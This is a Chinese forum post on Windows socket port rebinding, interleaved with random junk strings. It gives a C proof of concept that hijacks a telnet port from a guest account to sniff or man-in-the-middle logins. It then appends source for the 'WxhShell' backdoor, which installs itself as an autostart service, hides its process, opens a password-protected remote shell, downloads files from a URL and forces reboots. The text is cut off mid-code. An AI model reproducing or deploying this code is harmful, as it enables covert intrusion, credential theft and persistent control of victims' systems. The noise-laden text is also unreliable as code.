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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5&xvY.!27V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +?L~fM69B  
v EX <9  
  saddr.sin_family = AF_INET; VEpQT Qp  
6D+k[oHZm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); # K-Q/*  
r94BEC 2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cN :;ir  
^KhFBed   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fb}9cpz{  
'1{~y3  
  这意味着什么?意味着可以进行如下的攻击: ZcQm(my  
cK?t]%S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q{a!D0;4v  
3 (<!pA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \:#b9t{B-  
8<G@s`*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v0y7N_U5n  
#" OKO6]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1|]-F;b  
,L^L uw'7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QJTC@o  
Zsuh8t   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pp-Ur?PM  
[Q*kom :  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ga h e-%J  
Kfr?sX  
  #include N" 8o0>  
  #include aL`pvsnF  
  #include t3WlVUtq3  
  #include    L\B+j+~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ] x Kmz  
  int main() uu/M XID  
  { B\mdOTLQ  
  WORD wVersionRequested; p$=3&qR 6  
  DWORD ret; FStfGN  
  WSADATA wsaData; +Q '|->#  
  BOOL val; L%<1C \k  
  SOCKADDR_IN saddr; i a|F  
  SOCKADDR_IN scaddr; urN&."c  
  int err; 2<O hO ^  
  SOCKET s; ?+!KucTF  
  SOCKET sc; W)"q9(T?%  
  int caddsize; &sllM  
  HANDLE mt; _]4cY%s  
  DWORD tid;   M-Js"cB[  
  wVersionRequested = MAKEWORD( 2, 2 ); Pf!K()<uJ  
  err = WSAStartup( wVersionRequested, &wsaData ); 4VooU [Ka(  
  if ( err != 0 ) { qzLRA.#f^  
  printf("error!WSAStartup failed!\n"); X}Csl~W8in  
  return -1; (0][hdI~B  
  } oT_,k}LIX  
  saddr.sin_family = AF_INET; OW.ckYt%  
   l nZ=< T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vKW%l  
;L`'xFo>>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #8RQ7|7b|  
  saddr.sin_port = htons(23); &@Q3CCDS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f+1]#"9i|  
  { V*AG0@& !  
  printf("error!socket failed!\n"); qB&*"gf  
  return -1; a2i   
  } 7~65@&P>  
  val = TRUE; %_u3Np  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IFE C_F>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x;SrJVDN  
  { 4*54"[9Hr#  
  printf("error!setsockopt failed!\n"); B|%;(bM2C  
  return -1; qle\c[UM5  
  } @fY!@xSf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /yOd]N;$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pUPb+:^R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <ya3|ycnS  
*7R3EUUk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5p>a]gp  
  { fT@#S}t  
  ret=GetLastError(); k`&mHSk-  
  printf("error!bind failed!\n"); (;n|>l?*  
  return -1; @M,_mX  
  } 87HVD Di  
  listen(s,2); 15zL,yo  
  while(1) !At_^hSqz  
  { o#T,vu0s  
  caddsize = sizeof(scaddr); |9%>R*  
  //接受连接请求 "[8](3\v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $nVTN.k  
  if(sc!=INVALID_SOCKET) V^0*S=N  
  { ^qDkSoqC"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 55;xAsG  
  if(mt==NULL) _zOzHc?Q  
  { /Ly%-py-$  
  printf("Thread Creat Failed!\n"); ctCfLlK  
  break; p7k0pSt  
  } Q`oi=O YB  
  } #e#8I7P  
  CloseHandle(mt); ;6]+/e7O  
  } *L^{p.K4  
  closesocket(s); =tP|sYR]^  
  WSACleanup(); )sL:iGU  
  return 0; mg;qG@?  
  }   W w8[d  
  DWORD WINAPI ClientThread(LPVOID lpParam) N( /PJJ~  
  { !Khsx  
  SOCKET ss = (SOCKET)lpParam; Pc$<Cv|vz  
  SOCKET sc;  =HSE  
  unsigned char buf[4096]; c_" .+Fa  
  SOCKADDR_IN saddr; $$8"i+,K  
  long num; 9LFg":  
  DWORD val; T&!>lqU!J  
  DWORD ret; +zlaYHj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W<x2~HW(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6=&  wY  
  saddr.sin_family = AF_INET; KctD=6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^C'k.pV n~  
  saddr.sin_port = htons(23); 4Q]+tXes  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "_(o% \"7  
  { kL&^/([9  
  printf("error!socket failed!\n"); v/^2K,[0>  
  return -1; y/PEm)=Tt  
  } n3)g{K^  
  val = 100; ~U^0z|.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) # v v k7  
  { -_2= NA?t  
  ret = GetLastError(); RuHJk\T+  
  return -1; a-YK*  
  } dJ|]W|q<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PGybX:L  
  { YsTfv1~z#  
  ret = GetLastError(); zX5p'8-  
  return -1; d8x$NW-s  
  } O" z=+79q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;bZ)q  
  { J|I|3h<T  
  printf("error!socket connect failed!\n"); S'A~9+  
  closesocket(sc); MVTU$ 65  
  closesocket(ss); 1.';:/~(  
  return -1; OixQlAb{  
  } JL*-L*|Zcl  
  while(1) N),Zb^~nw  
  { Bz24U wcZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N.VzA 6 C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 un\"1RdO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Q3m?)X=Gd  
  num = recv(ss,buf,4096,0); 5-+Y2tp}  
  if(num>0) x &\~4,TN  
  send(sc,buf,num,0); PL VF  
  else if(num==0) <( MBs$b  
  break; T? =jKLPC  
  num = recv(sc,buf,4096,0); 6L*y$e"Qc  
  if(num>0) xR%CS`0R  
  send(ss,buf,num,0); +\{!jB*g  
  else if(num==0) 1 ltoLd\{  
  break; =XYfzR  
  } eDy}_By^  
  closesocket(ss); =|jOio=s:  
  closesocket(sc); v=/V<3  
  return 0 ; |g7E*1Ie  
  } }b+=,Sc"  
^%_LA't'R  
>`lf1x  
========================================================== a1Gy I  
G& ;W  
下边附上一个代码,,WXhSHELL eR3!P8t  
0 ">#h  
========================================================== 1&m08dZm5  
iPs()IN.O  
#include "stdafx.h" jOe %_R  
d$>1 2>>  
#include <stdio.h> "r|O /   
#include <string.h> D9Q%*DLd$_  
#include <windows.h> SR\#>Qwx_  
#include <winsock2.h> {^ N = hI  
#include <winsvc.h> GHoPv-#  
#include <urlmon.h> ,@2O_O`:  
2 OGg`1XX  
#pragma comment (lib, "Ws2_32.lib") '9b<r7\@  
#pragma comment (lib, "urlmon.lib") 'r'uR5jR  
.!Z.1:YR  
#define MAX_USER   100 // 最大客户端连接数 =si<OB  
#define BUF_SOCK   200 // sock buffer x-q er-  
#define KEY_BUFF   255 // 输入 buffer v|`)~"~  
J|K~a?&vN  
#define REBOOT     0   // 重启 D@0eYX4s  
#define SHUTDOWN   1   // 关机 !Dun<\  
j7i[z>:Y  
#define DEF_PORT   5000 // 监听端口 n[{o~VN  
D@f%&|IZ  
#define REG_LEN     16   // 注册表键长度 Z &PwNr/  
#define SVC_LEN     80   // NT服务名长度 578Dl(I#)  
jIEK[vJ`  
// 从dll定义API aeg5ij-]u@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; xs?^N|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T$k) ^'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` !rHH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c !5OK4+Z  
z[7U>q[E  
// wxhshell配置信息 8_ju.h[  
struct WSCFG { )+ S"`  
  int ws_port;         // 监听端口 ^D6JckW  
  char ws_passstr[REG_LEN]; // 口令 LtC kDnXk  
  int ws_autoins;       // 安装标记, 1=yes 0=no :k JSu{p  
  char ws_regname[REG_LEN]; // 注册表键名 ) I@gy  
  char ws_svcname[REG_LEN]; // 服务名 AU)Qk$c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &;,w})  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z|3l2ucl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bluC P|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *X,vu2(I-=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B-Fu/n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n /rQ*hr  
mWO=(}Fb\  
}; w8>p[F5`O  
cDLS)  
// default Wxhshell configuration :JPI#zZun  
struct WSCFG wscfg={DEF_PORT, rs!J<CRq  
    "xuhuanlingzhe", - 5A"TNU  
    1, |~'{ [?a*  
    "Wxhshell", Q%@l`V)Rs  
    "Wxhshell", /(vT49(]  
            "WxhShell Service", x!Wl&  
    "Wrsky Windows CmdShell Service", 5vY1 XZt{  
    "Please Input Your Password: ", U^Hymgb%  
  1, d<#Xqc  
  "http://www.wrsky.com/wxhshell.exe", VP|9Cm=Fg  
  "Wxhshell.exe" `kFxq<?aK  
    }; o.sa ?*  
3}XUYF;  
// 消息定义模块 ;)UZT^f`)K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d<!bE(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O@Xl_QNxc!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +-xA/nU.c  
char *msg_ws_ext="\n\rExit."; _Z2VS"yH  
char *msg_ws_end="\n\rQuit."; }Z2Y>raA\  
char *msg_ws_boot="\n\rReboot..."; LkJ3 :3O  
char *msg_ws_poff="\n\rShutdown..."; b7HS 3NYk  
char *msg_ws_down="\n\rSave to "; jLcW;7OAC  
(swP#t5S  
char *msg_ws_err="\n\rErr!"; 0*h\/!e  
char *msg_ws_ok="\n\rOK!"; _:=w6jCk  
E7y<iaA{~  
char ExeFile[MAX_PATH]; [NJ!  
int nUser = 0; +dR$;!WB3  
HANDLE handles[MAX_USER]; /k7`TUK  
int OsIsNt; q"fK"H-j  
ou@Dd4  
SERVICE_STATUS       serviceStatus; t?{E_70W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kvryDM  
%!x\|@C  
// 函数声明 H.Pts>3r(  
int Install(void); bCc^)o/w  
int Uninstall(void); ?6~RGg  
int DownloadFile(char *sURL, SOCKET wsh); +-HaYB|p  
int Boot(int flag); `N2zeFG  
void HideProc(void); 5Ss=z  
int GetOsVer(void); .wYx_  
int Wxhshell(SOCKET wsl); AY|8wf,LS  
void TalkWithClient(void *cs); W0l|E&fj[  
int CmdShell(SOCKET sock); t5[{ihv~:  
int StartFromService(void); hm?-QVRPV  
int StartWxhshell(LPSTR lpCmdLine); 9KD2C>d<  
7?B]X%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BxlpI[yWq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nqy\xK#.^  
3 u-j`7  
// 数据结构和表定义 N'|zPFk g  
SERVICE_TABLE_ENTRY DispatchTable[] = G8eAj%88  
{ #jK{)%}mA  
{wscfg.ws_svcname, NTServiceMain}, yQ6{-:`)  
{NULL, NULL} 9 /q4]%`  
}; JF!!)6!2#  
aY8>#t?  
// 自我安装 Y~bp:FkS  
int Install(void) &vd9\Pp  
{ Ewu 7tq Z  
  char svExeFile[MAX_PATH]; d\xh>o  
  HKEY key; -KbT[]  
  strcpy(svExeFile,ExeFile); Cv~t~  
Ca]vK'(  
// 如果是win9x系统,修改注册表设为自启动 9A)(K,  
if(!OsIsNt) { =as]>?<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +g\u=&< 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a+,)rY9  
  RegCloseKey(key); 6BNOF66kH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RG#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7$;mkHu4H%  
  RegCloseKey(key); /?HRq ?n  
  return 0; lvcX}{>\  
    } Y#NlbKkzu  
  } r'k-*I  
} !dSY?1>U<  
else { f4]nz:2  
*#dXW\8qu  
// 如果是NT以上系统,安装为系统服务 pO GVD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y KeOH  
if (schSCManager!=0) i%v^Zg&FU  
{ R&=Y7MfZ  
  SC_HANDLE schService = CreateService $Omc Ed  
  ( dt^yEapjM  
  schSCManager, ATH0n>)  
  wscfg.ws_svcname, cfa#a!Y4  
  wscfg.ws_svcdisp, W!V06.  
  SERVICE_ALL_ACCESS, 9:4P7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n"d~UV^Uw  
  SERVICE_AUTO_START, LKftNSkg"  
  SERVICE_ERROR_NORMAL, e2k!5O S  
  svExeFile, ` _[\j]  
  NULL, $Ob]JAf}  
  NULL, <fWho%eOK  
  NULL, /Y%) Y  
  NULL, {#0B~Zr  
  NULL 5|wQeosXxI  
  ); hjaI&?w  
  if (schService!=0) J(g!>Sp!p  
  { axonqSf  
  CloseServiceHandle(schService); }a|S gI  
  CloseServiceHandle(schSCManager); OJQ7nChMm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); noGMfZ1  
  strcat(svExeFile,wscfg.ws_svcname); E^T/Qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U/wY;7{)#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dV.)+X7<  
  RegCloseKey(key); [}}oHm3&  
  return 0; \D>'  
    } #](ML:!  
  } U7bG(?k)  
  CloseServiceHandle(schSCManager); WcbJ4Ore  
} B qKD+  
} bP(V#6IJ8  
:.DCRs$Q  
return 1; Cf2rRH  
} YtxBkKiJ2V  
Z;SRW92@  
// 自我卸载 }0}J  
int Uninstall(void) : :e=6i  
{ yV=hi?f-[V  
  HKEY key; R-bICGSE  
^7~=+0cF]  
if(!OsIsNt) { 82efqzT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W^P%k:anK  
  RegDeleteValue(key,wscfg.ws_regname); qeH#c=DQ  
  RegCloseKey(key); ?(;ygjyx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6D/5vM1  
  RegDeleteValue(key,wscfg.ws_regname); .ikFqZ$$  
  RegCloseKey(key); pi3Z)YcT  
  return 0; jQ1~B1(  
  } ~ m, z|  
} x !]ZVl]  
} HC+(FymV  
else { $BkdC'D  
4VD'<`R[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ezC55nm  
if (schSCManager!=0) ^5QSV\X  
{ VCkhK9(N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h:Npi `y  
  if (schService!=0) t.485L %  
  { I^0bEwqZ~  
  if(DeleteService(schService)!=0) { u.1u/o1"  
  CloseServiceHandle(schService); 5 -5qm[.;  
  CloseServiceHandle(schSCManager); ]%"Z[R   
  return 0; U_Emp[  
  } RR*z3i`PP  
  CloseServiceHandle(schService); &.K=,+0_R/  
  } V92e#AR  
  CloseServiceHandle(schSCManager); m9.QGX\]  
} (y=P-nm  
} 6n45]?  
6TlkPM$~2  
return 1; 'hg, W]  
} <b{Le{QJ*  
 }m\  
// 从指定url下载文件 a:H}c9 $%  
int DownloadFile(char *sURL, SOCKET wsh) JY_+p9KfyQ  
{ kc1 *@<L6  
  HRESULT hr; ].7)^  
char seps[]= "/"; \E]s]ft;+  
char *token; +.b~2K1  
char *file; gj$gqO`B  
char myURL[MAX_PATH]; #0hX)7(j  
char myFILE[MAX_PATH]; w!8h4U. ;  
\7jcZ~FBX%  
strcpy(myURL,sURL); X];a(7+2  
  token=strtok(myURL,seps); y85GKysT  
  while(token!=NULL) &*T57tE  
  { s <Ag8U8  
    file=token; htkn#s~=  
  token=strtok(NULL,seps); Jg/WE1p>  
  } BVC\~j j  
:,LX3,  
GetCurrentDirectory(MAX_PATH,myFILE); 3:dQN;=  
strcat(myFILE, "\\"); wNcf7/ky  
strcat(myFILE, file); 11%^K=dq  
  send(wsh,myFILE,strlen(myFILE),0); $ [M8G   
send(wsh,"...",3,0); gMFTZQsP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mVP@c&1w?  
  if(hr==S_OK) s{Ryh.IyI  
return 0; U3 ED3) D  
else US@ak4Y6Z  
return 1; <+ >y GPp  
cuW$%$ F  
} &AoXv`l4  
. m@Sk`s  
// 系统电源模块 !sK{:6s  
int Boot(int flag) 5lVDYmh  
{ co yy T  
  HANDLE hToken; Wd3/Y/MD  
  TOKEN_PRIVILEGES tkp; p@YU7_sF^!  
GwxfnC Ki9  
  if(OsIsNt) { _u]Wr%D@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` ~VV1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HwiG~'Ah9  
    tkp.PrivilegeCount = 1; SI4M<'fK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o%RyE]pw,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7K%Ac  
if(flag==REBOOT) { B ,e3r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AdKv!Ta5b  
  return 0; 1`X{$mxw  
} ko=vK%E[  
else { gM^ Hs7o,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Aum&U){yY  
  return 0; Kw"7M~  
} BQ2DQ7q  
  } -jFvDf,M,D  
  else { }9:d(B9;  
if(flag==REBOOT) { G# .z((Rj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m80QMosp  
  return 0; u\<z5O  
} l" *zr ;#  
else { 6rq:jvlx$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;[uJ~7e3  
  return 0; yI)~- E.  
} O F2*zU7M  
} 3K_J"B*7  
h/QZcA  
return 1; 65)/|j+  
} |9@?8\   
>#)^4-e  
// win9x进程隐藏模块 !QSL8v@c  
void HideProc(void) Jx.Jx~  
{ Y'DI@  
ZZX|MA!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1<Qb"FN!2  
  if ( hKernel != NULL ) [59_n{S 1  
  { 5)AMl)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Plc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [yW0U:m  
    FreeLibrary(hKernel); X8GIRL)lJ  
  } )8!""n~  
J XPE9uH  
return; &?#V*-;^  
} HX7"w   
1\$xq9  
// 获取操作系统版本 W{*U#:Jx1  
int GetOsVer(void)  wC}anq>>  
{  &)T5V  
  OSVERSIONINFO winfo; J)"2^?!&B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l*e*jA_>:7  
  GetVersionEx(&winfo); a[ 1^)=/DM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5.q2<a :  
  return 1; |p-, B>p!  
  else to|O]h2*U2  
  return 0; -2{NI.-Xd  
} 9!NL<}]{  
%7x x"$P:R  
// 客户端句柄模块 g~rZ=  
int Wxhshell(SOCKET wsl) :54ik,l  
{ LkK%DY  
  SOCKET wsh; O@ F0UM`!  
  struct sockaddr_in client; }i^]uW*h  
  DWORD myID; B8:G1r5G/  
gp`$/ci  
  while(nUser<MAX_USER) m6a`OkP  
{ *GH` u*C_  
  int nSize=sizeof(client); f(6`5/C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /q^)thJ~  
  if(wsh==INVALID_SOCKET) return 1; $BXZFC_1S  
qRZv[T%*Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !D!~4h)  
if(handles[nUser]==0) wqkD  
  closesocket(wsh); ZUyG }6)J  
else V|13%aE_v  
  nUser++; idPx! fe  
  } A,Wwt [Qw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;6KcX\g-  
J<'[P$D  
  return 0; lm i,P-Q  
} 7l/.f SW  
iyKAw   
// 关闭 socket ]w`)"{j5m  
void CloseIt(SOCKET wsh) <2"'R(4",  
{ #>i Bu:\J  
closesocket(wsh); ywTt<;  
nUser--; sEkfmB2J/  
ExitThread(0); %IL] Wz<  
} aMe]6cWHV>  
z$4g9  
// 客户端请求句柄 ,R#pQ 4  
void TalkWithClient(void *cs) 8Wqh 8$  
{ ?<)4_  
~_8Dv<"a  
  SOCKET wsh=(SOCKET)cs; #I8)|p?P  
  char pwd[SVC_LEN]; ZP~Mgz{f  
  char cmd[KEY_BUFF]; wI8  
char chr[1]; \@&oK2f  
int i,j; b+Vfi9<  
JZI)jIh  
  while (nUser < MAX_USER) { 2[ = =  
<:/Lap#D^  
if(wscfg.ws_passstr) { &W+lwEu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;)$bhNFHx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o&0fvCpW  
  //ZeroMemory(pwd,KEY_BUFF); : fMQ,S0  
      i=0; 6B`XHdCq  
  while(i<SVC_LEN) { MdXOH$ ps  
!IF]P#  
  // 设置超时 =1sGT;>  
  fd_set FdRead; DcYL8u  
  struct timeval TimeOut; -:cBVu-m  
  FD_ZERO(&FdRead); `yF6-F  
  FD_SET(wsh,&FdRead); .j^tFvN~L  
  TimeOut.tv_sec=8; iZY4+ X  
  TimeOut.tv_usec=0; i<@"+~n~GK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X .,Lmh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W>TG!R 5  
0,~||H{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kb3>q($  
  pwd=chr[0]; +q n[F70}  
  if(chr[0]==0xd || chr[0]==0xa) { ,2oFt\`.r  
  pwd=0; 3r^Ls[ey  
  break; S!WG|75B  
  } #O 2g]YH  
  i++; "o_s=^U  
    } y_mTO4\C2  
X})5XYvA*  
  // 如果是非法用户,关闭 socket ^Gi9&fS,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 PkVMX  
} Znr6,[U+q  
2_T2?weD5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ig&H0S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WbJ|]}hJ\  
pPL)!=o!  
while(1) { HQ /D)D  
@}; vl  
  ZeroMemory(cmd,KEY_BUFF); \ SCi\j/a(  
'h} (>%  
      // 自动支持客户端 telnet标准   .`p,pt;  
  j=0; _E %!5u  
  while(j<KEY_BUFF) { t 57MKDn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s>J\h  
  cmd[j]=chr[0]; 6-E>-9]'E  
  if(chr[0]==0xa || chr[0]==0xd) { VAW:h5j2@  
  cmd[j]=0; TOT#l6yqdd  
  break; M( w'TE@  
  } O06 2c)vIY  
  j++; /U$5'BoS  
    } ,3XlX(P  
6v"WI@b4  
  // 下载文件 '/="bSF  
  if(strstr(cmd,"http://")) { [~NJf3c"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j(~e{HZ  
  if(DownloadFile(cmd,wsh)) f/7on| bv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &u`EYxT  
  else )J^5?A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L|hELWru  
  } '4KN  
  else { 8:t!m>(*  
c,CcKy;+  
    switch(cmd[0]) { <)$&V*\  
  jOUM+QO  
  // 帮助 pO?v$Rjl  
  case '?': { -kF8ZF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h* 72 f/#  
    break; ^>Vl@cW0uz  
  } s(Y2]X4 (  
  // 安装 nsL"'iQ  
  case 'i': { b>h L*9  
    if(Install()) gmqA 5W~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]"Z x0t5%  
    else _C@A>]GT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qli#=0{`  
    break; &|-jU+r}B  
    } ?B+]Ex(\B,  
  // 卸载 {x,d9I  
  case 'r': { d\ I6Wn  
    if(Uninstall()) |.*nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GIb,y,PDB  
    else ~4+ICCbH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]z O6ESH  
    break; ;fW`#aE  
    } BOfl hoUX  
  // 显示 wxhshell 所在路径 y(ceEV  
  case 'p': { 23d*;ri5  
    char svExeFile[MAX_PATH]; redMlHM  
    strcpy(svExeFile,"\n\r"); jl>jy6T  
      strcat(svExeFile,ExeFile); 0fGt7 "Q  
        send(wsh,svExeFile,strlen(svExeFile),0); xX?9e3(  
    break; d>gQgQ;g  
    } r>#4Sr  
  // 重启 frokl5L@  
  case 'b': { 2BKiA[ ;;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HTLS$o;Q  
    if(Boot(REBOOT)) 0"}=A,o(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D&o ~4Qvc]  
    else { J#IVu?B  
    closesocket(wsh); z6*r<>Bf+b  
    ExitThread(0); ^ Paf-/  
    } B&QEt[=s  
    break; { SF'YbY  
    } ;Q8`5h   
  // 关机 i>7]9gBm1q  
  case 'd': { )3f<0C>  
